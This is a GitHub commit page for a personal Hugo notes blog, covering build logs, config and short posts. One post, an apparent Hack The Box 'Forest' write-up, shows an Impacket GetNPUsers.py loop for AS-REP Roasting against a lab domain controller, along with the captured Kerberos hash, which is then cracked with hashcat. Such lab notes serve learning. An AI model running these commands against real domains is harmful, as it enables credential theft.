Skip to content

Commit 945220a

Browse files
committed
update
1 parent 3e50a87 commit 945220a

File tree

654 files changed

+9098
-2
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

654 files changed

+9098
-2
lines changed

.hugo_build.lock

Whitespace-only changes.

.ninja_log

+109
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,109 @@
1+
# ninja log v5
2+
2 26649 0 content/posts/IdentityIQEssentialsIntroduction.md d442312ad16cbcc6
3+
5 26764 0 content/posts/greenhouseemissions.md 99811bc6a9bd1f51
4+
4 26784 0 content/posts/nietzsche.md 304072cc982ad3b7
5+
1 26884 0 content/posts/originalism.md c0169eff74e0f3db
6+
3 26885 0 content/posts/happiness.md da253535a5ca2531
7+
6 27015 0 content/posts/algorithms.md 749835b5d469a8f1
8+
2 27032 0 content/posts/abortion.md f35b3a4332698af0
9+
13 27324 0 content/posts/kerberoasting.md 4673e22f03c7dab1
10+
3 27531 0 content/posts/dnszonetransfers.md aacc309066177932
11+
4 30799 0 content/posts/introtopwntools.md a0c5e5c4a195f32f
12+
26650 53870 0 content/posts/impacket.md 98ea3c87c9ec37e6
13+
26886 54458 0 content/posts/quotes.md ca3a5645fe8f3ba5
14+
26784 54604 0 content/posts/birthdayattack.md eba61ed3f0bd6204
15+
27015 54896 0 content/posts/subdomainenumeration.md 42f8a41757d60a92
16+
27325 55242 0 content/posts/marx.md db501547bae2631e
17+
27532 55261 0 content/posts/z3_basics.md 54a8fe64db6b5253
18+
26885 55341 0 content/posts/linpeas.md 866962681ca08bf1
19+
26765 55632 0 content/posts/scapy_scanning.md 6ea033fa39170312
20+
27032 55992 0 content/posts/wfuzz.md 8c3d1e8c964baaa5
21+
30800 58256 0 content/posts/s_mime.md 96ea71f37d393574
22+
54605 79796 0 content/posts/20220824081229-words.md ff2f909f0598ba4b
23+
55242 80130 0 content/posts/category_theory.md 70613e94960356fc
24+
53871 80572 0 content/posts/securityplus.md c6e4b7aca6c1deea
25+
55342 80573 0 content/posts/dopamine.md bf74e0994fa997cc
26+
55992 81700 0 content/posts/nietzsche_and_stoicism.md d6cb5094c0e2b7dc
27+
54896 81864 0 content/posts/todo.md c5cb8820efb8aa0
28+
54458 82768 0 content/posts/isakmp.md df1ab503876cfba
29+
55632 82768 0 content/posts/generativeeffects.md cea1809f8986b37f
30+
55261 83166 0 content/posts/as_rep_roasting.md 667caa1415e7603c
31+
58256 85639 0 content/posts/sha1cracker.md d7fc012e75ed826d
32+
79797 95873 0 content/posts/kerberos.md abfdd38ff816b859
33+
81864 96869 0 content/posts/smtps.md e7dc127aa6b83432
34+
80131 96987 0 content/posts/roevwade.md 12a063a27107ae22
35+
80574 99009 0 content/posts/haskelltest.md df9399a9168b22e0
36+
81701 99502 0 content/posts/sha1.md c529423fb384f8ce
37+
80572 104585 0 content/posts/orgPythonJupyter.md 46d7b99455764173
38+
2 24896 0 content/posts/abortion.md f35b3a4332698af0
39+
3 25119 0 content/posts/dnszonetransfers.md aacc309066177932
40+
4 25132 0 content/posts/nietzsche.md 304072cc982ad3b7
41+
4 25134 0 content/posts/greenhouseemissions.md 99811bc6a9bd1f51
42+
16 25137 0 content/posts/kerberoasting.md 4673e22f03c7dab1
43+
2 25410 0 content/posts/happiness.md da253535a5ca2531
44+
5 25461 0 content/posts/algorithms.md 749835b5d469a8f1
45+
1 25693 0 content/posts/originalism.md c0169eff74e0f3db
46+
1 26502 0 content/posts/IdentityIQEssentialsIntroduction.md d442312ad16cbcc6
47+
3 30207 0 content/posts/introtopwntools.md a0c5e5c4a195f32f
48+
25135 50121 0 content/posts/linpeas.md 866962681ca08bf1
49+
25694 50646 0 content/posts/marx.md db501547bae2631e
50+
24896 50715 0 content/posts/impacket.md 98ea3c87c9ec37e6
51+
25410 50748 0 content/posts/subdomainenumeration.md 42f8a41757d60a92
52+
25137 50782 0 content/posts/quotes.md ca3a5645fe8f3ba5
53+
26502 51317 0 content/posts/z3_basics.md 54a8fe64db6b5253
54+
25119 51699 0 content/posts/scapy_scanning.md 6ea033fa39170312
55+
25461 51959 0 content/posts/wfuzz.md 8c3d1e8c964baaa5
56+
25132 52795 0 content/posts/birthdayattack.md eba61ed3f0bd6204
57+
30208 55969 0 content/posts/s_mime.md 96ea71f37d393574
58+
52795 76346 0 content/posts/nietzsche_and_stoicism.md d6cb5094c0e2b7dc
59+
50646 76372 0 content/posts/isakmp.md df1ab503876cfba
60+
50748 76464 0 content/posts/todo.md c5cb8820efb8aa0
61+
51700 76623 0 content/posts/dopamine.md bf74e0994fa997cc
62+
50122 76697 0 content/posts/securityplus.md c6e4b7aca6c1deea
63+
50715 76788 0 content/posts/20220824081229-words.md ff2f909f0598ba4b
64+
51959 76864 0 content/posts/generativeeffects.md cea1809f8986b37f
65+
50782 77280 0 content/posts/category_theory.md 70613e94960356fc
66+
51317 78096 0 content/posts/as_rep_roasting.md 667caa1415e7603c
67+
55970 82864 0 content/posts/sha1cracker.md d7fc012e75ed826d
68+
76347 91847 0 content/posts/kerberos.md abfdd38ff816b859
69+
76698 92783 0 content/posts/sha1.md c529423fb384f8ce
70+
76788 93523 0 content/posts/smtps.md e7dc127aa6b83432
71+
76373 94036 0 content/posts/roevwade.md 12a063a27107ae22
72+
76623 95347 0 content/posts/haskelltest.md df9399a9168b22e0
73+
76465 97836 0 content/posts/orgPythonJupyter.md 46d7b99455764173
74+
5 24696 1664151244103187176 content/posts/nietzsche.md ed407641dca2887f
75+
5 24942 1664151244333186896 content/posts/greenhouseemissions.md 66658a18d8b6165d
76+
7 25310 1664151244796519665 content/posts/algorithms.md dbe4cd081bd65994
77+
23 25705 1664151245219852479 content/posts/kerberoasting.md c5ae125e287b4e94
78+
3 25982 1664151245366518965 content/posts/happiness.md 2acffff525eda4ca
79+
3 26148 1664151245613185326 content/posts/dnszonetransfers.md 19748dc20597d75a
80+
2 26358 1664151245836518383 content/posts/abortion.md 7572efd306151533
81+
1 26456 1664151245943184918 content/posts/originalism.md be3dec15d3544cd7
82+
2 26459 1664151245889851651 content/posts/IdentityIQEssentialsIntroduction.md a3532420bda27578
83+
4 27452 1664151246816517154 content/posts/introtopwntools.md 89e4cbc8de2c2e9c
84+
25706 50548 1664151269929816150 content/posts/linpeas.md ed5958697036d0e8
85+
26456 50916 1664151270426481968 content/posts/marx.md 7b214ef5dd85b5ff
86+
24696 51061 1664151270569815056 content/posts/impacket.md 1828e5b0283c0cd1
87+
25982 51192 1664151270573148383 content/posts/quotes.md 927fe4128086d93d
88+
24942 51556 1664151271006480975 content/posts/scapy_scanning.md 4d744abcbda4c425
89+
25311 51892 1664151271313147111 content/posts/birthdayattack.md e6472c961e580477
90+
26148 52092 1664151271459813524 content/posts/subdomainenumeration.md eab2cc610989c313
91+
26460 52792 1664151272186478930 content/posts/z3_basics.md 407745c1447a9739
92+
27453 53185 1664151272626478162 content/posts/s_mime.md fadd904dbfd7b738
93+
26358 53369 1664151272739811297 content/posts/wfuzz.md 7cb141af9daf5080
94+
51062 76119 1664151295519766872 content/posts/20220824081229-words.md c6ab922b92177128
95+
51193 76478 1664151295913099363 content/posts/todo.md 7d5687d4c5276ccf
96+
50548 76712 1664151296183098782 content/posts/securityplus.md ea429f7526f5cfb9
97+
51557 76908 1664151296316431827 content/posts/category_theory.md c43648302b42af0c
98+
50917 76989 1664151296369765045 content/posts/isakmp.md 8154e39c5bef5b83
99+
52093 78137 1664151297536429186 content/posts/dopamine.md 5c191b299325bf93
100+
52793 78328 1664151297736428750 content/posts/generativeeffects.md b473d3cb39469c7d
101+
53185 78884 1664151298389760656 content/posts/nietzsche_and_stoicism.md 11809dca68e3b4cc
102+
51892 79324 1664151298829759693 content/posts/as_rep_roasting.md 55924653e1611319
103+
53369 80225 1664151299703091101 content/posts/sha1cracker.md 70b9319c12e36965
104+
76119 91361 1664151310913065325 content/posts/kerberos.md 966a0d6e4504c6ef
105+
76478 94009 1664151313553058969 content/posts/roevwade.md 91c6f5476cd51eac
106+
78137 94368 1664151313889724818 content/posts/smtps.md abbd1e15d2224664
107+
76990 94665 1664151314203057388 content/posts/sha1.md 8a33e2cbb6daad28
108+
76909 95985 1664151315483054254 content/posts/haskelltest.md ea34b097e25a5ada
109+
76712 97332 1664151316843050901 content/posts/orgPythonJupyter.md 924513be55c56761

README.md

+47-2
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,47 @@
1-
# kdbed.github.io
2-
blog
1+
[![Netlify Status](https://api.netlify.com/api/v1/badges/d6b49afd-cd07-4714-87d1-bc8e8239068f/deploy-status)](https://app.netlify.com/sites/braindump-jethrokuan/deploys)
2+
3+
# Jethro's Braindump
4+
5+
This braindump is generated via [ox-hugo][ox-hugo] and uses the
6+
[cortex][cortex] theme.
7+
8+
The org files used to generate the markdown files are also hosted here
9+
for posterity. They can be found in [the org folder][org].
10+
11+
## Installation instructions
12+
13+
I use the [Ninja](https://ninja-build.posts/ "Ninja") build tool to convert my Org
14+
files into Markdown locally. This is so that only changed Org files get
15+
reprocessed into Markdown files. Ninja spawns many Emacs instances in batch mode
16+
running `ox-hugo`, parallelizing the job of exporting the Org files.
17+
18+
To convert all Org files into Markdown, run:
19+
20+
```bash
21+
./build.py
22+
```
23+
24+
`build.py` is simple enough to inspect. Once the Markdown files are generated,
25+
we can use Hugo to generate the website.
26+
27+
Install [hugo][hugo]. E.g., on a Mac with Homebrew:
28+
29+
$ brew install hugo
30+
31+
Make sure the submodule containing the Hugo theme is installed:
32+
33+
$ git submodule init
34+
$ git submodule update
35+
36+
Now run hugo to generate the files (find them in `/public`):
37+
38+
$ hugo
39+
40+
Or run the following to get an immediately browsable website on localhost:
41+
42+
$ hugo serve
43+
44+
[hugo]: https://gohugo.io/
45+
[ox-hugo]: https://github.com/kaushalmodi/ox-hugo
46+
[cortex]: https://github.com/jethrokuan/cortex
47+
[org]: https://github.com/jethrokuan/braindump/tree/master/org

build.ninja

+76
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
2+
rule org2md
3+
command = emacs --batch -l ~/.emacs.d/init.el -l publish.el --eval "(jethro/publish \"$in\")"
4+
description = org2md $in
5+
6+
build content/posts/originalism.md: org2md org/originalism.org
7+
8+
build content/posts/IdentityIQEssentialsIntroduction.md: org2md org/IdentityIQEssentialsIntroduction.org
9+
10+
build content/posts/abortion.md: org2md org/abortion.org
11+
12+
build content/posts/happiness.md: org2md org/happiness.org
13+
14+
build content/posts/dnszonetransfers.md: org2md org/dnszonetransfers.org
15+
16+
build content/posts/introtopwntools.md: org2md org/introtopwntools.org
17+
18+
build content/posts/nietzsche.md: org2md org/nietzsche.org
19+
20+
build content/posts/greenhouseemissions.md: org2md org/greenhouseemissions.org
21+
22+
build content/posts/algorithms.md: org2md org/algorithms.org
23+
24+
build content/posts/kerberoasting.md: org2md org/kerberoasting.org
25+
26+
build content/posts/impacket.md: org2md org/impacket.org
27+
28+
build content/posts/scapy_scanning.md: org2md org/scapy_scanning.org
29+
30+
build content/posts/birthdayattack.md: org2md org/birthdayattack.org
31+
32+
build content/posts/linpeas.md: org2md org/linpeas.org
33+
34+
build content/posts/quotes.md: org2md org/quotes.org
35+
36+
build content/posts/subdomainenumeration.md: org2md org/subdomainenumeration.org
37+
38+
build content/posts/wfuzz.md: org2md org/wfuzz.org
39+
40+
build content/posts/marx.md: org2md org/marx.org
41+
42+
build content/posts/z3_basics.md: org2md org/z3_basics.org
43+
44+
build content/posts/s_mime.md: org2md org/s_mime.org
45+
46+
build content/posts/securityplus.md: org2md org/securityplus.org
47+
48+
build content/posts/isakmp.md: org2md org/isakmp.org
49+
50+
build content/posts/20220824081229-words.md: org2md org/20220824081229-words.org
51+
52+
build content/posts/todo.md: org2md org/todo.org
53+
54+
build content/posts/category_theory.md: org2md org/category_theory.org
55+
56+
build content/posts/as_rep_roasting.md: org2md org/as_rep_roasting.org
57+
58+
build content/posts/dopamine.md: org2md org/dopamine.org
59+
60+
build content/posts/generativeeffects.md: org2md org/generativeeffects.org
61+
62+
build content/posts/nietzsche_and_stoicism.md: org2md org/nietzsche_and_stoicism.org
63+
64+
build content/posts/sha1cracker.md: org2md org/sha1cracker.org
65+
66+
build content/posts/kerberos.md: org2md org/kerberos.org
67+
68+
build content/posts/roevwade.md: org2md org/roevwade.org
69+
70+
build content/posts/orgPythonJupyter.md: org2md org/orgPythonJupyter.org
71+
72+
build content/posts/haskelltest.md: org2md org/haskelltest.org
73+
74+
build content/posts/sha1.md: org2md org/sha1.org
75+
76+
build content/posts/smtps.md: org2md org/smtps.org

build.py

+23
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
#!/usr/bin/env python
2+
3+
import glob
4+
from pathlib import Path
5+
6+
files = glob.glob("org/*.org")
7+
8+
with open('build.ninja', 'w') as ninja_file:
9+
ninja_file.write("""
10+
rule org2md
11+
command = emacs --batch -l ~/.emacs.d/init.el -l publish.el --eval \"(jethro/publish \\"$in\\")"
12+
description = org2md $in
13+
""")
14+
15+
for f in files:
16+
path = Path(f)
17+
output_file = f"content/posts/{path.with_suffix('.md').name}"
18+
ninja_file.write(f"""
19+
build {output_file}: org2md {path}
20+
""")
21+
22+
import subprocess
23+
subprocess.call(["ninja"])

config.toml

+37
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
baseURL = "https://kdbed.github.io/"
2+
languageCode = "en-us"
3+
title = "Braindump"
4+
theme = "cortex"
5+
6+
[params]
7+
8+
footer = "Icon by Freepik. Built with ♥ with Org-mode and Hugo."
9+
10+
[markup]
11+
[markup.goldmark]
12+
[markup.goldmark.extensions]
13+
definitionList = true
14+
footnote = true
15+
linkify = true
16+
strikethrough = true
17+
table = true
18+
taskList = true
19+
typographer = true
20+
[markup.goldmark.parser]
21+
attribute = true
22+
autoHeadingID = true
23+
[markup.goldmark.renderer]
24+
hardWraps = false
25+
unsafe = true
26+
xHTML = false
27+
28+
[markup.highlight]
29+
codeFences = true
30+
guessSyntax = false
31+
hl_Lines = ""
32+
lineNoStart = 1
33+
lineNos = false
34+
lineNumbersInTable = true
35+
noClasses = true
36+
style = "friendly"
37+
tabWidth = 4

content/_index.md

+19
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
+++
2+
title = "Index"
3+
author = ["kbed"]
4+
lastmod = 2022-05-29T21:44:03+08:00
5+
type = "index"
6+
draft = false
7+
+++
8+
9+
# Hi! {#hi}
10+
11+
I'm kdbed, and you've chanced upon my braindump.
12+
This website contains my working notes accumulated over some years. They're in a
13+
really messy transition state: most of them are literature notes, and there are
14+
close to no conceptual notes, which I intend to start taking soon.
15+
16+
I also haven't made good entry-points to my brain yet, but you can start hopping
17+
around by going to the [full index](/posts/).
18+
19+
Have fun!

content/posts/20220824081229-words.md

+7
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
+++
2+
title = "words"
3+
author = ["svejk"]
4+
draft = false
5+
+++
6+
7+
susurrus
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
+++
2+
title = "IdentityIQEssentialsIntroduction"
3+
author = ["svejk"]
4+
draft = false
5+
+++
6+
7+
## Introduction {#introduction}
8+
9+
- Reading data: all systems from which data is read are called applications. Identity cubes created when aggregating accounts from an authoritative application (system of record), e.g., HR system or AD.
10+
- Business modeling
11+
- Governance Process
12+
- Provisioning Process : User Request; Lifecycle event

content/posts/abortion.md

+5
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
+++
2+
title = "Abortion"
3+
author = ["svejk"]
4+
draft = false
5+
+++

content/posts/algorithms.md

+5
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
+++
2+
title = "algorithms"
3+
author = ["svejk"]
4+
draft = false
5+
+++

content/posts/as_rep_roasting.md

+35
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
+++
2+
title = "AS-REP Roasting"
3+
author = ["svejk"]
4+
draft = false
5+
+++
6+
7+
## AS-REP Roasting {#as-rep-roasting}
8+
9+
Two key attacks on [Kerberos]({{<relref "posts/kerberos.md#" >}}) security in Active Directory include [kerberoasting]({{<relref "posts/kerberoasting.md#" >}}) and AS-REP Roasting. Kerberoasting typically requires credentials on the domain to authenticate with. There is an option for an account to have the property “Do not require Kerberos preauthentication” or UF\_DONT\_REQUIRE\_PREAUTH set to true. AS-REP Roasting is an attack against Kerberos for these accounts.
10+
11+
Use the [Impacket]({{<relref "posts/impacket.md#" >}}) tool `GetNPUsers.py` to try to get a hash for each user
12+
13+
```shell
14+
λ ~/ctf/htb/forest/ for user in $(cat usernames.txt); do GetNPUsers.py -no-pass -dc-ip 10.10.10.161 htb/${user} | grep -v Impacket; done
15+
16+
[*] Getting TGT for sebastien
17+
[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
18+
19+
[*] Getting TGT for lucinda
20+
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
21+
22+
[*] Getting TGT for svc-alfresco
23+
$krb5asrep$23$svc-alfresco@HTB:25311259ddd6d0e65a4ae2cd898c547b$2328b382956004167ef612abbfd0b3350d362f386d70deadf093d73dd33fadea8bf648d3d7c1cab3565b508a9dafb06cb399ac26e04521ffa22edc882213994257e53976a81b78aaf49dfe02da14f6f76fc7def2a7d4e7e8ff696efa29a1ac4a8df2c0f7856df3c7aa7bbff60e93c1e1fbfc538745a0ffefa3f383d68ddfb4984d1194bc56cc9d168b69a512901815da53cba71a2d0a13c6369fd1b74b9ce3367119502354b2cae4ae3096e5ba4a041fa8a0d1d7f4a92c0f47d2c6ee7bcc73b7f2c3b10955799c807bf43d3035488fb385c68568e770d87d771343e16266ea8f
24+
25+
[*] Getting TGT for andy
26+
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
27+
28+
[*] Getting TGT for mark
29+
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
30+
31+
[*] Getting TGT for santi
32+
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set
33+
```
34+
35+
The hash is quickly cracked with `hashcat`.

0 commit comments

Comments
 (0)